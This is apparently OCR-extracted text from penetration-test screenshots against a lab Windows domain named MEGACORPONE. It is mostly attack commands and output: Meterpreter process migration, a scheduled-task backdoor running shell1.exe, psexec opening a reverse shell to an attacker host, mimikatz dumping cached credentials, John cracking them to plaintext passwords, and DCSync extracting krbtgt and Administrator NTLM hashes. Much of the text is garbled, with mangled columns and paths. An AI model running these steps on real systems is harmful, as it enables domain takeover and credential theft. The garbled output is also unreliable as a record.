	772	Microsoft.Photos.exe	x64	2	MEGACORPONE\bbanner	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2021.21090.10007.0_x648wekyb3d
		cmd.exe	x64	0	MEGACORPONE\tstark	C:\Windows\System32\cmd.exe
	772	dllhost.exe	x64		MEGACORPONE\bbanner	C:\Windows\System32\dllhost.exe
		ShellExperienceHost.exe	x64		MEGACORPONE\bbanner	C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
		RuntimeBroker.exe	x64		MEGACORPONE\bbanner	C:\Windows\System32\RuntimeBroker.exe
		User00BEBroker.exe	x64		MEGACORPONE\bbanner	C:\Windows\System32\oobe\User00BEBroker.exe
		conhost.exe	x64		MEGACORPONE\tstark	C:\Windows\System32\conhost.exe
15216	596	gyUl.exe	x86		NT AUTHORITY\SYSTEM	C:\Windows\Temp\gyUl.exe
1.5						
		migrate 8912				
		from 9584 to 8912 completed successfully.				
meterp	reter >					

3284 596 3484 772 3792 596 3948 361 4176 596 4216 772 4624 596 8912 596	 MoUsoCoreWorker.exe SecurityHealthServio MicrosoftEdgeUpdate 	ce.exe >	x64	0 0 0	NT AUTHORITY\SYSTEM NT AUTHORITY\SYSTEM	C:\Windows\System32\MoUsoCoreWorker.exe
3792 J 596 3948 361 4176 596 4216 772 4624 596	SecurityHealthServio MicrosoftEdgeUpdate				NT AUTHORITY\SYSTEM	C:\Windows\System32\MoUsoCoreWorker.exe
3948 361 4176 596 4216 772 4624 596	12 MicrosoftEdgeUpdate.		x64			
3948 361 4176 596 4216 772 4624 596	12 MicrosoftEdgeUpdate.					
4176 596 4216 772 4624 596		.exe 3	x86	0	NT AUTHORITY\SYSTEM	C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
4216 772 4624 596				0	NT AUTHORITY\SYSTEM	
4624 596				0	NT AUTHORITY\SYSTEM	C:\Windows\System32\wbem\WmiPrvSE.exe
				å		
			x64		NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
9544 727		-	X04	0	AT ADTHORITY (STSTEM	C+ (WINDOWS (395 CEN32 (39CH03 CTEXE
10512 772						
10560 727			x64		NT AUTHORITY\SYSTEM	C:\Windows\System32\winlogon.exe
10668 105					Font Driver Host\UMFD-2	C-\Vindows\System32\ondiringthetarbare
					MEGACORPONE\bbanner	
						C:\Windows\System32\conhost.exe
10908 596			x64		NT AUTHORITY\LOCAL SERVICE	
10964 105		,	x64		Window Manager\DWM-2	C:\Windows\System32\dwm.exe
11344 772						
11388 237					NT AUTHORITY\SYSTEM	C:\Users\TSTARK-1.MEG\AppData\Local\Temp\PMjFxyG.exe
	80 shell2.exe				MEGACORPONE\tstark	C:\shell2.exe
11580 596					NT AUTHORITY\SYSTEM	
11900 772					MEGACORPONE\bbanner	C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
11924 376			x64		MEGACORPONE\bbanner	C:\Windows\System32\rdpclip.exe
11988 412	sihost.exe		x64		MEGACORPONE\bbanner	C:\Windows\System32\sihost.exe
12000 596	svchost.exe		x64		MEGACORPONE\bbanner	
12064 412	taskhostw.exe		x64		MEGACORPONE\bbanner	C:\Windows\System32\taskhostw.exe
12248 984	ctfmon.exe	ên 🔥	x64		MEGACORPONE\bbanner	C:\Windows\System32\ctfmon.exe
12356 123	36 explorer.exe		x64		MEGACORPONE\bbanner	C:\Windows\explorer.exe
12556 772						
12644 596		Line is	x64		MEGACORPONE\bbanner	
12776 772			x64		MEGACORPONE\bbanner	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
12820 772					neoneon one (obtinites	o manager apprendips (see a soliting and a see an end of the soliting proves) (see a soliting prove
	16 gyUl.exe		x86		NT AUTHORITY\SYSTEM	C:\Windows\Temp\gyUl.exe
	156 powershell.exe				MEGACORPONE\bbanner	C:\windows\ystem32\windowsPowerShell\v1.0\powershell.exe
13028 772			x64		MEGACORPONE\bbanner	C:\Program Files\WindowsApps\Wicrosoft.YourPhone.121084.79.0_x648wekyb3d8bbwe\YourPhone.exe
13132 772					MEGACORPONE\bbanner	C:\Vindows\SystemApps\directorsoftLindows.Clicet.CBS_cwshltxewy\InputApp\TextInputHost.exe
13276 772					MEGACORPONE\bbanner	C:\Windows\SystemApps\mitrosoft\Windows.Sternt.cbs_cwonnitztyvewy\inputApp\(extinputAps.cexe C:\Windows\SystemApps\Mitrosoft\Windows.Search.cwSnlhltyyewy\SearchApp.exe
			X04		MEGACORPONE\DDanner	C: \windows\SystemApps\microsoft.windows.Search_cwSninztXyewy\SearchApp.exe
					and the second	
	56 OneDrive.exe		x86		MEGACORPONE\bbanner	C:\Users\Bbanner.MEGACORPONE\AppData\Local\Microsoft\OneDrive\OneDrive.exe
13900 772					MEGACORPONE\bbanner	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2021.21090.10007.0_x648wekyb3d8bbwe\Microsoft.Photos.exe
	180 cmd.exe		x64		MEGACORPONE\tstark	C:\Windows\System32\cmd.exe
14492 772						
14704 772		.exe >	x64		MEGACORPONE\bbanner	C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
14816 772						
14856 772						
14936 144	80 conhost.exe		х64		MEGACORPONE\tstark	C:\Windows\System32\conhost.exe
15216 596	i gyUl.exe		x86		NT AUTHORITY\SYSTEM	C:\Windows\Temp\gyUl.exe

C:\Windows\system32> schtasks /create /sc schtasks /create /sc daily /st 00:00 /tn SUCCESS: The scheduled task "DailyPayload	"DailyPayload" /tr "C	:\shell1.exe /f
C:\Windows\system32>schtasks /query /tn " schtasks /query /tn "DailyPayload"	DailyPayload"	
Folder: \ TaskName	Next Run Time	Status
DailyPayload	12/10/2024 12:00:00 AM	Ready
C:\Windows\system32> schtasks /run /tn "D schtasks /run /tn "DailyPayload" SUCCESS: Attempted to run the scheduled t		
C:\Windows\system32>		

POST-CREDENTIALDUMPING-022

<pre>msf6 exploit(windows/smb/psexec) > run</pre>		
 Started reverse TCP handler on 172.22.117.100 172.22.117.20:445 - Connecting to the server. 172.22.117.20:445 - Authenticating to 172.22. 172.22.117.20:445 - Selecting PowerShell targ Sending stage (175174 bytes) to 172.22.117.20 172.22.117.20:445 - Executing the payload 172.22.117.20:445 - Service start timed out, Meterpreter session 1 opened (172.22.117.100: 	 117.20:445 megacorpone as user 'tsta et OK if running a command or non-servi	ce executable
<pre>meterpreter > load kiwi Loading extension kiwi .######. mimikatz 2.2.0 20191125 (x86/windows) .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` (be ## \ / ## > http://blog.gentilkiwi.com/mim '## v ##' Vincent LE TOUX (vi '#####' > http://pingcastle.com / http:</pre>	njamin@gentilkiwi.com) ikatz ncent.letoux@gmail.com)	 So Antoning Arty Annual Extensioner So Antoning Arty Annual Extensioner So Antoning Arty Annual Extension So Antoning Arty Annual Extension So Antoning Arty Annual Extension So Antoning Arty Annual Extension Antoning Annual Extension
[!] Loaded x86 Kiwi on an x64 architecture.		
Success. <u>meterpreter</u> > kiwi_cmd lsadump::cache Domain : WINDOWS10 SysKey : 1197da08e9ae7a1a84a39e929702036c		
Local name : WINDOWS10 (S-1-5-21-2395882817-3035 Domain name : MEGACORPONE (S-1-5-21-1129708524-1 Domain FQDN : megacorpone.local		
Policy subsystem is : 1.18 LSA Key(s) : 1, default {46de65ce-2dfb-2544-3691- [00] {46de65ce-2dfb-2544-3691-2047d4f65909} c36		38b7129a1863969b16b159814
* Iteration is set to default (10240)		 A strategy of the strategy of the second strategy of the strategy
[NL\$1 - 12/14/2024 7:08:50 PM]		
RID : 00000455 (1109) User : MEGACORPONE\pparker MsCacheV2 : af8bca7828a82d401c4c143fc51dfa72		
[NL\$2 - 12/14/2024 6:06:10 PM] RID : 00000453 (1107) User : MEGACORPONE\bbanner MsCacheV2 : 9266b8f89ae43e72f582cd1f9f298ded		
[NL\$3 - 12/10/2024 4:12:33 AM] RID : 00000641 (1601) User : MEGACORPONE\tstark MsCacheV2 : d84f760da198259002fe86c4e6546f01		
<u>meterpreter</u> >		

(reot @ kalå)-[~] m john — format=mscash2 hash3.txt Using default input encoding: UTF-8 Loaded 3 password hashes with 3 different salts (mscash2, MS Cache Hash 2 (DCC2) [PBKDF2-SHA1 512/512 AVX512BW 16x]) Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 38 candidates buffered for the current salt, minimum 64 needed for performance. Warning: Only 42 candidates buffered for the current salt, minimum 64 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst Winter2021 (bbanner) Spring2021 (pparker) Password! (tstark) 3g 0:00:00:06 DONE 2/3 (2024-12-10 03:09) 0.4991g/s 15306p/s 15412c/s 15412C/s Barn2..Asdf! Use the "—show — format=mscash2" options to display all of the cracked passwords reliably Session completed.

POST-DCSYNC-024

POST-DCSYNC-024				
[*] Sending stage (175174 bytes) to 1	72.22.117.10 .22.117.100:4444 → 172.22.117.1 quit	on failed: The process cannot access the f 0:63467) at 2024-12-14 19:18:26 -0500	ile because it is being used by another proce	-55.
Active sessions				
Id Name Type	Information	Connection		
3 meterpreter x86/windows / 4 meterpreter x64/windows / 5 meterpreter x86/windows /	MEGACORPONE\tstark @ WINDOWS10	$\fbox{(172.22.117.100:4444 \rightarrow 172.22.117.20:6105)}{172.22.117.100:4444 \rightarrow 172.22.117.20:6105)}{172.22.117.100:4444 \rightarrow 172.22.117.20:6222)}{172.22.117.100:4444 \rightarrow 172.22.117.10:6346}$	5 (172.22.117.20) 4 (172.22.117.20)	
<pre>ws msf6 exploit(windows/lucal/wmi) > sest [*] Starting interaction with 5</pre>	sions -i 5			
<u>meterpreter</u> > sysinfo Computer : WINDC01				
OS : Windows 2016+ (10.0 Architecture : X64 System Language : en_US Domain : MEGACORPONE Logged On Users : 13 Meterpreter : X86/windows meterpreter > getprivs	Build 17763).			
Enabled Process Privileges				
Name Name Name Name Name Name Name Name				
SeBackupPrivilege SechangeNotifyPrivilege SecreateGlobalPrivilege SecreateSpagfilePrivilege SecreateSymbolicLinkPrivilege SetnableDelegationPrivilege SetmoresonatePrivilege SeIncreaseQuotaPrivilege SeIncreaseQuotaPrivilege SeIncreaseQuotaPrivilege SeIncreaseQuotaPrivilege				
SeMachineAccountPrivilege SeManageVolumePrivilege SeProfileSingleProcessPrivilege SeRemoteShutdownPrivilege				
SeRestorePrivilege SeSecurityPrivilege SeShutdownPrivilege				
SeSystemEnvironmentPrivilege SeSystemProfilePrivilege SeSystemtimePrivilege ŞçTakeOwnershipPrivilege				
SeTimeZonePrivilege SeUndockPrivilege				
meterpreter >				
<pre>meterpreter > shell</pre>		a a 51 5-		
Process 992 created Channel 1 created. Microsoft Windows [(c) 2018 Microsoft	1. [Version 10.0.177			
C:\Windows\system32 net users	2>net users			
User accounts for \				
Administrator Guest sstrange The command complet	bbanner krbtgt tstark ted with one or m	cdanver pparker wmaximo ore errors.		
C:\Windows\system32	2>^X∂sS			
Status: Running				

D	Success.	desume stlm
V	Meterpreter > Vusage: dcsync	_ntlm <domain\user></domain\user>
Þ		
	meterpreter >	
	usage: dcsyllc	_ntlm <domain\user></domain\user>
	<pre>meterpreter ></pre>	dcsync_ntlm sstrange
	[+] Account	: sstrange
	[+] NILM Hash	: 16284886442316500a1/6/01e0aC3C54 • a2hda648h8e5a5c60hafh32368afha82
	[+] SID	: S-1-5-21-1129708524-1666154534-779541012-1108
r	s [+] RID	: 1628488e442316500a176701e0ac3c54 : a2bda648b8e5a5c60bafb32368afba82 : S-1-5-21-1129708524-1666154534-779541012-1108 : 1108
1		dcsync_ntlm krbtgt
	[+] Account	
	[+] NTLM Hash	: 71e38edcf2d1eacfe6b1dbf0e5d6abf3
	[+] LM Hash [+] SID	: 48ce2e770c9e6c6208e5e08bd18a3c8e : S-1-5-21-1129708524-1666154534-779541012-502
	[+] RID	: 502
	and a set	
	<pre>meterpreter > [+] Account</pre>	dcsync_ntlm bbanner
1		: 4c3879fef394fa5dce0037c197c70841
1	[+] LM Hash	: c3d27ff4435fda0e3617b25512e4176b
	[+] SID [+] RID	: S-1-5-21-1129708524-1666154534-779541012-1107
		1107 THE PLACE OF ALSO AUX. UNCLUSE RESEARCHING
	and the strength of the strength of the	decade sele warde
		dcsync_ntlm Guest
	[+] Account	: Guest a second field (Second Control Control Second
	[+] Account [+] NTLM Hash	: Guest : <not found=""></not>
	[+] Account [+] NTLM Hash [+] LM Hash [+] STD	: Guest : <not found=""> : <not found=""> : <s1-5-21-112070852 -166615="" -7705="" 1012-501<="" 53="" td=""></s1-5-21-112070852></not></not>
	[+] Account [+] NTLM Hash [+] LM Hash [+] STD	: Guest : <not found=""> : <not found=""></not></not>
	[+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID	: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501</not></not>
	[+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID	: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark</not></not>
	<pre>[+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash</pre>	: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc</not></not>
	[+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID <u>meterpreter</u> > [+] Account [+] NTLM Hash [+] LM Hash	: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae</not></not>
	<pre>[+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID</pre>	: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc</not></not>
	<pre>[+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID</pre>	: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae : S-1-5-21-1129708524-1666154534-779541012-1601 : 1601</not></not>
	<pre>[+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter ></pre>	<pre>: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae : S-1-5-21-1129708524-1666154534-779541012-1601 : 1601 dcsync_ntlm pparker</not></not></pre>
	<pre>[+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash</pre>	<pre>: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae : S-1-5-21-1129708524-1666154534-779541012-1601 : 1601 dcsync_ntlm pparker : pparker : 57912afe60e9274c35672bf526baed61</not></not></pre>
	<pre>[+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] LM Hash [+] RID meterpreter > [+] Account [+] NTLM Hash [+] LM Hash [+] LM Hash</pre>	<pre>: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae : S-1-5-21-1129708524-1666154534-779541012-1601 : 1601 dcsync_ntlm pparker : pparker : pparker : 57912afe60e9274c35672bf526baed61 : a59eb8287f433b708f212ac5f5f159d6</not></not></pre>
	<pre>[+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] LM Hash [+] RID meterpreter > [+] Account [+] NTLM Hash [+] LM Hash [+] LM Hash</pre>	<pre>: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae : S-1-5-21-1129708524-1666154534-779541012-1601 : 1601 dcsync_ntlm pparker : pparker : pparker : 57912afe60e9274c35672bf526baed61 : a59eb8287f433b708f212ac5f5f159d6</not></not></pre>
	<pre>[+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] LM Hash [+] LM Hash</pre>	<pre>: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae : S-1-5-21-1129708524-1666154534-779541012-1601 : 1601 dcsync_ntlm pparker : pparker : pparker : 57912afe60e9274c35672bf526baed61 : a59eb8287f433b708f212ac5f5f159d6</not></not></pre>
	<pre>[+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] RID [+] RID [+] RID [+] RID [+] RID</pre>	<pre>: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae : S-1-5-21-1129708524-1666154534-779541012-1601 : 1601 dcsync_ntlm pparker : pparker : 57912afe60e9274c35672bf526baed61 : a59eb8287f435b708f212ac5f5f159d6 : S-1-5-21-1129708524-1666154534-779541012-1109 : 1109 dcsync_ntlm wmaximoff</not></not></pre>
	<pre>[+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] RID meterpreter > [+] RID</pre>	<pre>: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae : S-1-5-21-1129708524-1666154534-779541012-1601 : 1601 dcsync_ntlm pparker : pparker : 57912afe60e9274c35672bf526baed61 : a59eb8287f435b708f212ac5f5f159d6 : S-1-5-21-1129708524-1666154534-779541012-1109 : 1109 dcsync_ntlm wmaximoff : wmaximoff</not></not></pre>
	<pre>[+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] RID meterpreter > [+] RID</pre>	<pre>: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae : S-1-5-21-1129708524-1666154534-779541012-1601 : 1601 dcsync_ntlm pparker : pparker : 57912afe60e9274c35672bf526baed61 : a59eb8287f435b708f212ac5f5f159d6 : S-1-5-21-1129708524-1666154534-779541012-1109 : 1109 dcsync_ntlm wmaximoff : wmaximoff : sb0141e534fb12d4acd773456ea59406</not></not></pre>
	<pre>[+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID</pre>	<pre>: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae : S-1-5-21-1129708524-1666154534-779541012-1601 : 1601 dcsync_ntlm pparker : pparker : 57912afe60e9274c35672bf526baed61 : a59eb8287f435b708f212ac5f5f159d6 : S-1-5-21-1129708524-1666154534-779541012-1109 : 1109 dcsync_ntlm wmaximoff : wmaximoff : 8b0141e534fb12d4acd773456ea59406 : 6dd22e107998e6e66dfe4898de33a57b : S-1-5-21-1129708524-1666154534-779541012-1605</not></not></pre>
	<pre>[+] Account [+] NTLM Hash [+] LM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID meterpreter > [+] Account [+] RID meterpreter > [+] Account [+] NTLM Hash [+] SID [+] RID</pre>	<pre>: Guest : <not found=""> : <not found=""> : S-1-5-21-1129708524-1666154534-779541012-501 : 501 dcsync_ntlm tstark : tstark : fbdcd5041c96ddbd82224270b57f11fc : 405580f975f6b6d3fb80fab72232baae : S-1-5-21-1129708524-1666154534-779541012-1601 : 1601 dcsync_ntlm pparker : pparker : 57912afe60e9274c35672bf526baed61 : a59eb8287f435b708f212ac5f5f159d6 : S-1-5-21-1129708524-1666154534-779541012-1109 : 1109 dcsync_ntlm wmaximoff : wmaximoff : sb0141e534fb12d4acd773456ea59406 : 6dd22e107998e6e66dfe4898de33a57b</not></not></pre>

GNU nano 5.4 sstrange:1628488e442316500a176701e0ac3c54 krbtgt:71e38edcf2d1eacfe6b1dbf0e5d6abf3 cdanvers:5ab17a555eb088267f5f2679823dc69d pparker:57912afe60e9274c35672bf526baed61 wmaximoff:8b0141e534fb12d4acd773456ea59406 Administrator:63d33b919a6700bd0e59687549bbf398 bbanner:4c3879fef394fa5dce0037c197c70841

Status: Running